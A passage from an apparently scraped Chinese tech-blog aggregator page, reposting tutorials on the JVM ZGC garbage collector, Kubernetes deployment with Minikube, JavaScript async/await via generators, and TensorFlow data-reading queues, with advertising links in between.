網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

※教你寫出一流的銷售文案?

深入理解JVM(③)ZGC收集器

前言

ZGC是一款在JDK11中新加入的具有實驗性質的低延遲垃圾收集器,目前僅支持Linux/x86-64。ZGC收集器是一款基於Region內存布局的,(暫時)不設分代的,使用了讀屏障、染色指針和內存多重映射等技術來實現可併發的標記-整理算法的,以低延遲為首要目標的一款垃圾收集器。

ZGC布局

與Shenandoah和G1一樣,ZGC也採取基於Region的堆內存布局,但與他們不同的是,ZGC的Region具有動態性(動態的創建和銷毀,以及動態的區域容量大小)。
ZGC的Region可以分為三類:

  • 小型Region:容量固定為2MB,用於放置小於256KB的小對象。
  • 中型Region:容量固定為32MB,用於放置大於等於256KB但小於4MB的對象。
  • 大型Region:容量不固定,可以動態變化,但必須為2MB的整數倍,用於存放4MB或以上的大對象。並且每個大型Region只會存放一個對象。
    ZGC內存布局圖:

染色指針

HotSpot的垃圾收集器,有幾種不同的標記實現方案。

  • 把標記直接記錄在對象頭上(Serial 收集器)。
  • 把標記記錄在於對象相互獨立的數據結構上(G1、Shenandoah使用了一種相當於堆內存的1/64大小的,稱為BitMap的結構來記錄標記信息)。
  • ZGC染色指針直接把標記信息記載引用對象的指針上。
    染色指針是一種直接將少量額外的信息存儲在指針上的技術。
    目前Linux下64位指針的高18位不能用來尋址,但剩餘的46位指針所能支持的64TB內存仍然鞥呢夠充分滿足大型服務器的需要。鑒於此,ZGC將其高4位提取出來存儲四個標誌信息。
    通過這些標誌虛擬機就可以直接從指針中看到器引用對象的三色標記狀態(Marked0、Marked1)、是否進入了重分配集(是否被移動過——Remapped)、是否只能通過finalize()方法才能被訪問到(Finalizable)。由於這些標誌位進一步壓縮了原本只有46位的地址空寂,導致ZGC能夠管理的內存不可以超過4TB。
    染色指針示意圖:

染色指針的優勢

  • 染色指針可以使得一旦某個Region的存活對象被移走之後,這個Region立即就能夠被釋放和重用掉,而不必等待整個堆中所有指令向該Region的引用都被修正後才能清理。
  • 染色指針可以大幅減少在垃圾收集過程中內存屏障的使用數量,設置內存屏障,尤其是在寫屏障的目的通常是為了記錄對象引用的變動情況,如果將這些信息直接維護在指針中,顯然就可以省去一些專門的記錄操作。
  • 染色指針可以作為一種可擴展的存儲結構用來記錄更多與對象標記、重定位過程相關的數據,以便日後進一步提高性能。

內存多重映射

Linux/x86-64平台上ZGC使用了多重映射(Multi-Mapping)將多個不同的虛擬內存地址映射到同一物理內存地址上,這是一種多對一映射,意味着ZGC在虛擬內存中看到的地址空寂要比實際的堆內存容量來的更大。把染色指針中的標誌位看作是地址的分段符,那隻要將這些不同的地址段都映射到同一物理內褲空間,經過多重映射轉換后,就可以使用染色指針正常進行尋址了。
多重映射下的尋址:

ZGC的運作過程

ZGC的運作過程大致可劃分為以下四個大的階段。四個階段都是可以併發執行的,僅是兩個階段中間會存在短暫的停頓小階段。
運作過程如下:

  • 併發標記(Concurrent Mark): 與G1、Shenandoah一樣,併發標記是遍歷對象圖做可達性分析的階段,前後也要經過類似於G1、Shenandoah的初始標記、最終標記的短暫停頓,而且這些停頓階段所做的事情在目標上也是相類似的。
  • 併發預備重分配( Concurrent Prepare for Relocate): 這個階段需要根據特定的查詢條件統計得出本次收集過程要清理哪些Region,將這些Region組成重分配集(Relocation Set)。
  • 併發重分配(Concurrent Relocate): 重分配是ZGC執行過程中的核心階段,這個過程要把重分配集中的存活對象複製到新的Region上,併為重分配集中的每個Region維護一個轉發表(Forward Table),記錄從舊對象到新對象的轉向關係。
  • 併發重映射(Concurrent Remap): 重映射所做的就是修正整個堆中指向重分配集中舊對象的所有引用,ZGC的併發映射並不是以一個必須要“迫切”去完成的任務。ZGC很巧妙地把併發重映射階段要做的工作,合併到下一次垃圾收集循環中的併發標記階段里去完成,反正他們都是要遍歷所有對象的,這樣合併節省了一次遍歷的開銷。

ZGC的優劣勢

  • 缺點:浮動垃圾
    當ZGC準備要對一個很大的堆做一次完整的併發收集,駕駛其全過程要持續十分鐘以上,由於應用的對象分配速率很高,將創造大量的新對象,這些新對象很難進入當次收集的標記範圍,通常就只能全部作為存活對象來看待(儘管其中絕大部分對象都是朝生夕滅),這就產生了大量的浮動垃圾。
    目前唯一的辦法就是盡可能地去增加堆容量大小,獲取更多喘息的時間。但若要從根本上解決,還是需要引入分代收集,讓新生對象都在一個專門的區域中創建,然後針對這個區域進行更頻繁、更快的收集。
  • 優點:高吞吐量、低延遲
    ZGC是支持“NUMA-Aware”的內存分配。MUMA(Non-Uniform Memory Access,非統一內存訪問架構)是一種多處理器或多核處理器計算機所設計的內存架構。
    現在多CPU插槽的服務器都是Numa架構,比如兩顆CPU插槽(24核),64G內存的服務器,那其中一顆CPU上的12個核,訪問從屬於它的32G本地內存,要比訪問另外32G遠端內存要快得多。
    ZGC默認支持NUMA架構,在創建對象時,根據當前線程在哪個CPU執行,優先在靠近這個CPU的內存進行分配,這樣可以顯著的提高性能,在SPEC JBB 2005 基準測試里獲得40%的提升。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※別再煩惱如何寫文案,掌握八大原則!

※產品缺大量曝光嗎?你需要的是一流包裝設計!

【K8s學習筆記】K8s是如何部署應用的?

本文內容

本文致力於介紹K8s一些基礎概念與串聯部署應用的主體流程,使用Minikube實操

基礎架構概念回顧

溫故而知新,上一節【K8S學習筆記】初識K8S 及架構組件 我們學習了K8s的發展歷史、基礎架構概念及用途,本節講的內容建立在其上,有必要把之前的架構小節提出來回顧下:

K8s架構分為控制平台(位於的Master節點)與執行節點Node

控制平台包含:

  • kube-apiserver(訪問入口,接收命令)

  • etcd(KV數據庫,保存集群狀態與數據)

  • kube-scheduler(監控節點狀態,調度容器部署)

  • kube-controller-manager(監控集群狀態,控制節點、副本、端點、賬戶與令牌)

  • cloud-controller-manager(控制與雲交互的節點、路由、服務、數據卷)

執行節點包含:

  • kubelet(監控與實際操作容器)

  • kube-proxy(每個節點上運行的網絡代理,維護網絡轉發規則,實現了Service)

  • 容器運行時環境CRI(支持多種實現K8s CRI的容器技術)

接下來需要引入 Pod 與 Service 的概念,這也是在上一篇文章中未給出的

Pod、Service與Label概念

Pod概念與結構

Pod 是 K8s最重要的基本概念,官網給出概念:Pod是Kubernates可調度的最小的、可部署的單元。怎麼理解呢?最簡單的理解是,Pod是一組容器。

再詳細些,Pod是一組容器組成的概念,這些容器都有共同的特點:

  • 都有一個特殊的被稱為“根容器”的Pause容器。Pause容器鏡像屬於K8s平台的一部分
  • 包含一個或多個緊密相關的用戶業務容器。假設個場景:業務容器需要獨立的redis提供服務,這裏就可以將它們兩個部署在同一Pod中。

下邊是Pod的組成示意圖:

為什麼Kubernetes會設計出一個全新的概念與Pod會有這樣特殊的結構呢?

  • 原因之一:K8s需要將一組容器視為一個單元處理。當其中某些容器死亡了,此時無法判定這組容器的狀態。而當成一個單元,只要其中有一個容器掛了,這個單元就判定掛了。
  • 原因之二:通過Pause共享容器IP,共享Pause掛接的Volume,簡化密切關聯的業務容器之間的通信問題和文件共享問題

K8s為每個Pod都分配了唯一的IP地址,稱為Pod IP,一個Pod里的多個容器共享Pod IP地址。需要牢記的一點是:在 kubernetes 里,一個 Pod 里的容器與另外主機上的 Pod 容器能夠直接通信。

Pod的創建流程

當一個普通的Pod被創建,就會被放入etcd中存儲,隨後被 K8s Master節點調度到某個具體的Node上並進行綁定(Binding),隨後該Pod被對應的Node上的kubelet進程實例化成一組相關的Docker容器並啟動。

當Pod中有容器停止時,K8s 會自動檢測到這個問題並重啟這個 Pod(Pod里所有容器);如果Pod所在的Node宕機,就會將這個Node上的所有Pod重新調度到其他節點上。

細心的讀者是否發現:

當Pod越來越多,Pod IP 也越來越多,那是如何從茫茫IP地址中找到需要的服務呢?換句話來說,是否有一種提供唯一入口的機制,來完成對Pod的訪問,而無需關心訪問到具體是哪個Pod(who care :happy:)?

Kubernetes 提供了這種機制,稱之為 Service。

Service概念

Service服務是Kubernetes里的核心資源對象之一,從名稱上來看,理解其為一個”服務“也不為過,Service的作用是為相同標識的一系列Pod提供唯一的訪問地址。

Service使用的唯一地址稱為ClusterIP,僅當在集群內的容器才能通過此IP訪問到Service

它具體實現對一系列Pod綁定,需要再引入Label的概念,才能做出解答。

Label概念

Kubernetes 提供了Label(標籤)來對Pod、Service、RC、Node等進行標記。相當於打標籤,Label可以是一組KV鍵值對,也可以是一個set

一個資源對象可以定義任意數量的Label,同一個Label可以添加到任意數量的資源對象上。通常由定義資源對象時添加,創建后亦可動態添加或刪除。

Service如何動態綁定Pods?

原來,在定義 Pod 時,設置一系列 Label 標籤,Service 創建時定義了 Label Selector(Label Selector 可以類比為對 Label 進行 SQL 的 where 查詢),kube-proxy 進程通過 Service的Label Selector 來選擇對應的 Pod,自動建立每個 Service 到對應 Pod 的請求轉發路由表,從而實現 Service 的智能負載均衡機制。

小結:Pod是K8s最小的執行單元,包含一個Pause容器與多個業務容器,每個Pod中容器共享Pod IP,容器之間可直接作用Pod IP通信;Label是一種標籤,它將標籤打在Pod上時,Service可以通過定義Label Selector(Label查詢規則)來選擇Pod,具體實現路由表建立的是kube-proxy

部署應用實踐(Minikube)

安裝kubectl需要安裝成本地服務,這裡是debian10,更多參考https://developer.aliyun.com/mirror/kubernetes

sudo su -
apt-get update && apt-get install -y apt-transport-https
curl https://mirrors.aliyun.com/kubernetes/apt/doc/apt-key.gpg | apt-key add - 
cat <<EOF >/etc/apt/sources.list.d/kubernetes.list
deb https://mirrors.aliyun.com/kubernetes/apt/ kubernetes-xenial main
EOF  
apt-get update
apt-get install -y kubelet kubectl
exit

下載安裝Minikube(阿里雲修改版):

curl -Lo minikube-linux-amd64-1.11.0-aliyuncs http://kubernetes.oss-cn-hangzhou.aliyuncs.com/minikube/releases/v1.11.0/minikube-linux-amd64
sudo install minikube-linux-amd64-1.11.0-aliyuncs /usr/local/bin/minikube

使用魔改版是因為官方代碼里有些地方寫死了地址,而國內無法訪問

部署k8s集群:

minikube start --driver docker --image-repository registry.cn-hangzhou.aliyuncs.com/google_containers --kubernetes-version v1.18.3

本地有docker時使用此driver,其他可選的虛擬化技術參考https://minikube.sigs.k8s.io/docs/drivers/ 選擇

#部署一個Pod,Pod的deployment是一種默認的無狀態多備份的部署類型
kubectl create deployment hello-minikube --image=registry.cn-hangzhou.aliyuncs.com/google_containers/echoserver:1.4
#查看集群中當前的Pod列表
kubectl get pods
#創建的NodePort類型Service,將所有Node開放一個端口號,通過這個端口將流量轉發到Service以及下游Pods
kubectl expose deployment hello-minikube --type=NodePort --port=8080
#獲取暴露 Service 的 URL 以查看 Service 的詳細信息:
minikube service hello-minikube --url
#minikube提供的特色功能,直接通過瀏覽器打開剛才創建的Service的外部訪問地址
minikube service hello-minikube

自動打開瀏覽器訪問服務(Minikube特色功能)

提示:這張圖中的request-uri的解釋是不正確的,但是與 <minikube這個唯一Node的IP>:<NodePort><Service的ClusterIP>:<ServicePort>都不是完全匹配的,不大理解這塊提示,有緣人希望可解我所惑,在此先行感謝

查看Pod的描述信息

kubectl describe pod hello-minikube

最下方可以清楚得看到K8s集群default-scheduler成功指派我們要求的Pod在節點minikube上創建,kubelet收到信息后,拉取鏡像並啟動了容器

部署流程原理簡述

  1. kubectl 發送創建 deployment 類型、名為hello-minikube的Pod 請求到 kube-apiserver
  2. kube-apiserver 將這條描述信息存到 etcd
  3. kube-scheduler 監控 etcd 得到描述信息,監測Node負載情況,創建Pod部署描述信息到etcd
  4. 待部署Node的kubelet監聽到 etcd 中有自己的部署Pod信息,取出信息並按圖拉取業務鏡像,創建pause容器與業務容器(此時集群外部無法訪問)
  5. kubectl 執行expose命令,同時將創建Service與NodePort信息存到etcd中
  6. 各節點kube-proxy監聽到etcd變化,創建邏輯上的Service與路由信息,開闢NodePort
  7. 當請求到達<任意Node節點IP>:<NodePort> 時,根據路由錶轉發到指定的Service上,負載均衡到Pod,提供服務

集群外部訪問:

參考

  • https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/
  • https://kubernetes.io/docs/concepts/services-networking/
  • https://minikube.sigs.k8s.io/docs/start/
  • https://minikube.sigs.k8s.io/docs/handbook/controls/
  • 《Kubernetes權威指南》第 4 版

行文過程中難免出現錯誤,還請讀者評論幫忙改正,大家共同進步,在此感謝

轉載請註明出處,文章中概念引入《Kubernetes權威指南》很多,侵權改。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

※教你寫出一流的銷售文案?

※超省錢租車方案

FB行銷專家,教你從零開始的技巧

async/await剖析

async/await剖析

JavaScript是單線程的,為了避免同步阻塞可能會帶來的一些負面影響,引入了異步非阻塞機制,而對於異步執行的解決方案從最早的回調函數,到ES6Promise對象以及Generator函數,每次都有所改進,但是卻又美中不足,他們都有額外的複雜性,都需要理解抽象的底層運行機制,直到在ES7中引入了async/await,他可以簡化使用多個Promise時的同步行為,在編程的時候甚至都不需要關心這個操作是否為異步操作。

分析

首先使用async/await執行一組異步操作,並不需要回調嵌套也不需要寫多個then方法,在使用上甚至覺得這本身就是一個同步操作,當然在正式使用上應該將await語句放置於 try...catch代碼塊中,因為await命令後面的Promise對象,運行結果可能是rejected

function promise(){
    return new Promise((resolve, reject) => {
       var rand = Math.random() * 2; 
       setTimeout(() => resolve(rand), 1000);
    });
}

async function asyncFunct(){
    var r1 = await promise();
    console.log(1, r1);
    var r2 = await promise();
    console.log(2, r2);
    var r3 = await promise();
    console.log(3, r3);
}

asyncFunct();

async/await實際上是Generator函數的語法糖,如Promises類似於結構化回調,async/await在實現上結合了Generator函數與Promise函數,下面使用Generator函數加Thunk函數的形式實現一個與上邊相同的例子,可以看到只是將async替換成了*放置在函數右端,並將await替換成了yield,所以說async/await實際上是Generator函數的語法糖,此處唯一不同的地方在於實現了一個流程的自動管理函數run,而async/await內置了執行器,關於這個例子的實現下邊會詳述。對比來看,asyncawait,比起*yield,語義更清楚,async表示函數里有異步操作,await表示緊跟在後面的表達式需要等待結果。

function thunkFunct(index){
    return function f(funct){
        var rand = Math.random() * 2;
        setTimeout(() => funct(rand), 1000)
    }
}

function* generator(){ 
    var r1 = yield thunkFunct();
    console.log(1, r1);
    var r2 = yield thunkFunct();
    console.log(2, r2);
    var r3 = yield thunkFunct();
    console.log(3, r3);
}

function run(generator){
    var g = generator();

    var next = function(data){
        var res = g.next(data);
        if(res.done) return ;
        // console.log(res.value);
        res.value(next);
    }

    next();
}

run(generator);

實現

async函數內置了執行器,能夠實現函數執行的自動流程管理,通過Generator yield ThunkGenerator yield Promise實現一個自動流程管理,只需要編寫Generator函數以及Thunk函數或者Promise對象並傳入自執行函數,就可以實現類似於async/await的效果。

Generator yield Thunk

自動流程管理run函數,首先需要知道在調用next()方法時,如果傳入了參數,那麼這個參數會傳給上一條執行的yield語句左邊的變量,在這個函數中,第一次執行next時並未傳遞參數,而且在第一個yield上邊也並不存在接收變量的語句,無需傳遞參數,接下來就是判斷是否執行完這個生成器函數,在這裏並沒有執行完,那麼將自定義的next函數傳入res.value中,這裏需要注意res.value是一個函數,可以在下邊的例子中將註釋的那一行執行,然後就可以看到這個值是f(funct){...},此時我們將自定義的next函數傳遞后,就將next的執行權限交予了f這個函數,在這個函數執行完異步任務后,會執行回調函數,在這個回調函數中會觸發生成器的下一個next方法,並且這個next方法是傳遞了參數的,上文提到傳入參數後會將其傳遞給上一條執行的yield語句左邊的變量,那麼在這一次執行中會將這個參數值傳遞給r1,然後在繼續執行next,不斷往複,直到生成器函數結束運行,這樣就實現了流程的自動管理。

function thunkFunct(index){
    return function f(funct){
        var rand = Math.random() * 2;
        setTimeout(() => funct(rand), 1000)
    }
}

function* generator(){ 
    var r1 = yield thunkFunct();
    console.log(1, r1);
    var r2 = yield thunkFunct();
    console.log(2, r2);
    var r3 = yield thunkFunct();
    console.log(3, r3);
}

function run(generator){
    var g = generator();

    var next = function(data){
        var res = g.next(data);
        if(res.done) return ;
        // console.log(res.value);
        res.value(next);
    }

    next();
}

run(generator);

Generator yield Promise

相對於使用Thunk函數來做流程自動管理,使用Promise來實現相對更加簡單,Promise實例能夠知道上一次回調什麼時候執行,通過then方法啟動下一個yield,不斷繼續執行,這樣就實現了流程的自動管理。

function promise(){
    return new Promise((resolve,reject) => {
        var rand = Math.random() * 2;
        setTimeout( () => resolve(rand), 1000);
    })
}

function* generator(){ 
    var r1 = yield promise();
    console.log(1, r1);
    var r2 = yield promise();
    console.log(2, r2);
    var r3 = yield promise();
    console.log(3, r3);
}

function run(generator){
    var g = generator();

    var next = function(data){
        var res = g.next(data);
        if(res.done) return ;
        res.value.then(data => next(data));
    }

    next();
}

run(generator);
// 比較完整的流程自動管理函數
function promise(){
    return new Promise((resolve,reject) => {
        var rand = Math.random() * 2;
        setTimeout( () => resolve(rand), 1000);
    })
}

function* generator(){ 
    var r1 = yield promise();
    console.log(1, r1);
    var r2 = yield promise();
    console.log(2, r2);
    var r3 = yield promise();
    console.log(3, r3);
}

function run(generator){
    return new Promise((resolve, reject) => {
        var g = generator();
        
        var next = function(data){
            var res = null;
            try{
                res = g.next(data);
            }catch(e){
                return reject(e);
            }
            if(!res) return reject(null);
            if(res.done) return resolve(res.value);
            Promise.resolve(res.value).then(data => {
                next(data);
            },(e) => {
                throw new Error(e);
            });
        }
        
        next();
    })
   
}

run(generator).then( () => {
    console.log("Finish");
});

每日一題

https://github.com/WindrunnerMax/EveryDay

參考

https://segmentfault.com/a/1190000007535316
http://www.ruanyifeng.com/blog/2015/05/co.html
http://www.ruanyifeng.com/blog/2015/05/async.html

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

網頁設計最專業,超強功能平台可客製化

Tensorflow 中(批量)讀取數據的案列分析及TFRecord文件的打包與讀取

內容概要:

單一數據讀取方式:

  第一種:slice_input_producer()

# 返回值可以直接通過 Session.run([images, labels])查看,且第一個參數必須放在列表中,如[...]
[images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)

  第二種:string_input_producer()

# 需要定義文件讀取器,然後通過讀取器中的 read()方法來獲取數據(返回值類型 key,value),再通過 Session.run(value)查看
file_queue = tf.train.string_input_producer(filename, num_epochs=None, shuffle=True)

reader = tf.WholeFileReader() # 定義文件讀取器
key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容

  !!!num_epochs=None,不指定迭代次數,這樣文件隊列中元素個數也不限定(None*數據集大小)。

  !!!如果不是None,則此函數創建本地計數器 epochs,需要使用local_variables_initializer()初始化局部變量

  !!!以上兩種方法都可以生成文件名隊列。

(隨機)批量數據讀取方式:

batchsize=2  # 每次讀取的樣本數量
tf.train.batch(tensors, batch_size=batchsize)
tf.train.shuffle_batch(tensors, batch_size=batchsize, capacity=batchsize*10, min_after_dequeue=batchsize*5) # capacity > min_after_dequeue

  !!!以上所有讀取數據的方法,在Session.run()之前必須開啟文件隊列線程 tf.train.start_queue_runners()

 TFRecord文件的打包與讀取

 

 一、單一數據讀取方式

第一種:slice_input_producer()

def slice_input_producer(tensor_list, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None)

案例1:

import tensorflow as tf

images = ['image1.jpg', 'image2.jpg', 'image3.jpg', 'image4.jpg']
labels = [1, 2, 3, 4]

# [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)

# 當num_epochs=2時,此時文件隊列中只有 2*4=8個樣本,所有在取第9個樣本時會出錯
# [images, labels] = tf.train.slice_input_producer([images, labels], num_epochs=2, shuffle=True)

data = tf.train.slice_input_producer([images, labels], num_epochs=None, shuffle=True)
print(type(data))   # <class 'list'>

with tf.Session() as sess:
    # sess.run(tf.local_variables_initializer())
    sess.run(tf.local_variables_initializer())
    coord = tf.train.Coordinator()  # 線程的協調器
    threads = tf.train.start_queue_runners(sess, coord)  # 開始在圖表中收集隊列運行器

    for i in range(10):
        print(sess.run(data))

    coord.request_stop()
    coord.join(threads)

"""
運行結果:
[b'image2.jpg', 2]
[b'image1.jpg', 1]
[b'image3.jpg', 3]
[b'image4.jpg', 4]
[b'image2.jpg', 2]
[b'image1.jpg', 1]
[b'image3.jpg', 3]
[b'image4.jpg', 4]
[b'image2.jpg', 2]
[b'image3.jpg', 3]
"""

  !!!slice_input_producer() 中的第一個參數需要放在一個列表中,列表中的每個元素可以是 List 或 Tensor,如 [images,labels],

  !!!num_epochs設置

 

 第二種:string_input_producer()

def string_input_producer(string_tensor, num_epochs=None, shuffle=True, seed=None, capacity=32, shared_name=None, name=None, cancel_op=None)

文件讀取器

  不同類型的文件對應不同的文件讀取器,我們稱為 reader對象

  該對象的 read 方法自動讀取文件,並創建數據隊列,輸出key/文件名,value/文件內容;

reader = tf.TextLineReader()      ### 一行一行讀取,適用於所有文本文件

reader = tf.TFRecordReader() ### A Reader that outputs the records from a TFRecords file
reader = tf.WholeFileReader() ### 一次讀取整個文件,適用圖片

 案例2:讀取csv文件

iimport tensorflow as tf

filename = ['data/A.csv', 'data/B.csv', 'data/C.csv']

file_queue = tf.train.string_input_producer(filename, shuffle=True, num_epochs=2)   # 生成文件名隊列
reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
# reader = tf.TextLineReader()            # 定義文件讀取器(一行一行的讀)
key, value = reader.read(file_queue)    # key:文件名;value:文件中的內容
print(type(file_queue))

init = [tf.global_variables_initializer(), tf.local_variables_initializer()]
with tf.Session() as sess:
    sess.run(init)
    coord = tf.train.Coordinator()
    threads = tf.train.start_queue_runners(sess=sess, coord=coord)
    try:
        while not coord.should_stop():
            for i in range(6):
                print(sess.run([key, value]))
            break
    except tf.errors.OutOfRangeError:
        print('read done')
    finally:
        coord.request_stop()
    coord.join(threads)

"""
reader = tf.WholeFileReader()           # 定義文件讀取器(一次讀取整個文件)
運行結果:
[b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
[b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
[b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
[b'data/A.csv', b'1.jpg,1\n2.jpg,2\n3.jpg,3\n']
[b'data/B.csv', b'4.jpg,4\n5.jpg,5\n6.jpg,6\n']
[b'data/C.csv', b'7.jpg,7\n8.jpg,8\n9.jpg,9\n']
"""
"""
reader = tf.TextLineReader()           # 定義文件讀取器(一行一行的讀)
運行結果:
[b'data/B.csv:1', b'4.jpg,4']
[b'data/B.csv:2', b'5.jpg,5']
[b'data/B.csv:3', b'6.jpg,6']
[b'data/C.csv:1', b'7.jpg,7']
[b'data/C.csv:2', b'8.jpg,8']
[b'data/C.csv:3', b'9.jpg,9']
"""

案例3:讀取圖片(每次讀取全部圖片內容,不是一行一行)

import tensorflow as tf

filename = ['1.jpg', '2.jpg']
filename_queue = tf.train.string_input_producer(filename, shuffle=False, num_epochs=1)
reader = tf.WholeFileReader()              # 文件讀取器
key, value = reader.read(filename_queue)   # 讀取文件 key:文件名;value:圖片數據,bytes

with tf.Session() as sess:
    tf.local_variables_initializer().run()
    coord = tf.train.Coordinator()      # 線程的協調器
    threads = tf.train.start_queue_runners(sess, coord)

    for i in range(filename.__len__()):
        image_data = sess.run(value)
        with open('img_%d.jpg' % i, 'wb') as f:
            f.write(image_data)
    coord.request_stop()
    coord.join(threads)

 

 二、(隨機)批量數據讀取方式:

  功能:shuffle_batch() 和 batch() 這兩個API都是從文件隊列中批量獲取數據,使用方式類似;

案例4:slice_input_producer() 與 batch()

import tensorflow as tf
import numpy as np

images = np.arange(20).reshape([10, 2])
label = np.asarray(range(0, 10))
images = tf.cast(images, tf.float32)  # 可以註釋掉,不影響運行結果
label = tf.cast(label, tf.int32)     # 可以註釋掉,不影響運行結果

batchsize = 6   # 每次獲取元素的數量
input_queue = tf.train.slice_input_producer([images, label], num_epochs=None, shuffle=False)
image_batch, label_batch = tf.train.batch(input_queue, batch_size=batchsize)

# 隨機獲取 batchsize個元素,其中,capacity:隊列容量,這個參數一定要比 min_after_dequeue 大
# image_batch, label_batch = tf.train.shuffle_batch(input_queue, batch_size=batchsize, capacity=64, min_after_dequeue=10)

with tf.Session() as sess:
    coord = tf.train.Coordinator()      # 線程的協調器
    threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
    for cnt in range(2):
        print("第{}次獲取數據,每次batch={}...".format(cnt+1, batchsize))
        image_batch_v, label_batch_v = sess.run([image_batch, label_batch])
        print(image_batch_v, label_batch_v, label_batch_v.__len__())

    coord.request_stop()
    coord.join(threads)

"""
運行結果:
第1次獲取數據,每次batch=6...
[[ 0.  1.]
 [ 2.  3.]
 [ 4.  5.]
 [ 6.  7.]
 [ 8.  9.]
 [10. 11.]] [0 1 2 3 4 5] 6
第2次獲取數據,每次batch=6...
[[12. 13.]
 [14. 15.]
 [16. 17.]
 [18. 19.]
 [ 0.  1.]
 [ 2.  3.]] [6 7 8 9 0 1] 6
"""

 案例5:從本地批量的讀取圖片 — string_input_producer() 與 batch()

 1 import tensorflow as tf
 2 import glob
 3 import cv2 as cv
 4 
 5 def read_imgs(filename, picture_format, input_image_shape, batch_size=1):
 6     """
 7     從本地批量的讀取圖片
 8     :param filename: 圖片路徑(包括圖片的文件名),[]
 9     :param picture_format: 圖片的格式,如 bmp,jpg,png等; string
10     :param input_image_shape: 輸入圖像的大小; (h,w,c)或[]
11     :param batch_size: 每次從文件隊列中加載圖片的數量; int
12     :return: batch_size張圖片數據, Tensor
13     """
14     global new_img
15     # 創建文件隊列
16     file_queue = tf.train.string_input_producer(filename, num_epochs=1, shuffle=True)
17     # 創建文件讀取器
18     reader = tf.WholeFileReader()
19     # 讀取文件隊列中的文件
20     _, img_bytes = reader.read(file_queue)
21     # print(img_bytes)    # Tensor("ReaderReadV2_19:1", shape=(), dtype=string)
22     # 對圖片進行解碼
23     if picture_format == ".bmp":
24         new_img = tf.image.decode_bmp(img_bytes, channels=1)
25     elif picture_format == ".jpg":
26         new_img = tf.image.decode_jpeg(img_bytes, channels=3)
27     else:
28         pass
29     # 重新設置圖片的大小
30     # new_img = tf.image.resize_images(new_img, input_image_shape)
31     new_img = tf.reshape(new_img, input_image_shape)
32     # 設置圖片的數據類型
33     new_img = tf.image.convert_image_dtype(new_img, tf.uint8)
34 
35     # return new_img
36     return tf.train.batch([new_img], batch_size)
37 
38 
39 def main():
40     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
41     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
42     print(type(image_batch))
43     # image_path = glob.glob(r'.\*.jpg')
44     # image_batch = read_imgs(image_path, ".jpg", (313, 500, 3), 1)
45 
46     sess = tf.Session()
47     sess.run(tf.local_variables_initializer())
48     tf.train.start_queue_runners(sess=sess)
49 
50     image_batch = sess.run(image_batch)
51     print(type(image_batch))    # <class 'numpy.ndarray'>
52 
53     for i in range(image_batch.__len__()):
54         cv.imshow("win_"+str(i), image_batch[i])
55     cv.waitKey()
56     cv.destroyAllWindows()
57 
58 def start():
59     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
60     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
61     print(type(image_batch))    # <class 'tensorflow.python.framework.ops.Tensor'>
62 
63 
64     with tf.Session() as sess:
65         sess.run(tf.local_variables_initializer())
66         coord = tf.train.Coordinator()      # 線程的協調器
67         threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
68         image_batch = sess.run(image_batch)
69         print(type(image_batch))    # <class 'numpy.ndarray'>
70 
71         for i in range(image_batch.__len__()):
72             cv.imshow("win_"+str(i), image_batch[i])
73         cv.waitKey()
74         cv.destroyAllWindows()
75 
76         # 若使用 with 方式打開 Session,且沒加如下2行語句,則會出錯
77         # ERROR:tensorflow:Exception in QueueRunner: Enqueue operation was cancelled;
78         # 原因:文件隊列線程還處於工作狀態(隊列中還有圖片數據),而加載完batch_size張圖片會話就會自動關閉,同時關閉文件隊列線程
79         coord.request_stop()
80         coord.join(threads)
81 
82 
83 if __name__ == "__main__":
84     # main()
85     start()

從本地批量的讀取圖片案例

 

案列6:TFRecord文件打包與讀取

 1 def write_TFRecord(filename, data, labels, is_shuffler=True):
 2     """
 3     將數據打包成TFRecord格式
 4     :param filename: 打包後路徑名,默認在工程目錄下創建該文件;String
 5     :param data: 需要打包的文件路徑名;list
 6     :param labels: 對應文件的標籤;list
 7     :param is_shuffler:是否隨機初始化打包后的數據,默認:True;Bool
 8     :return: None
 9     """
10     im_data = list(data)
11     im_labels = list(labels)
12 
13     index = [i for i in range(im_data.__len__())]
14     if is_shuffler:
15         np.random.shuffle(index)
16 
17     # 創建寫入器,然後使用該對象寫入樣本example
18     writer = tf.python_io.TFRecordWriter(filename)
19     for i in range(im_data.__len__()):
20         im_d = im_data[index[i]]    # im_d:存放着第index[i]張圖片的路徑信息
21         im_l = im_labels[index[i]]  # im_l:存放着對應圖片的標籤信息
22 
23         # # 獲取當前的圖片數據  方式一:
24         # data = cv2.imread(im_d)
25         # # 創建樣本
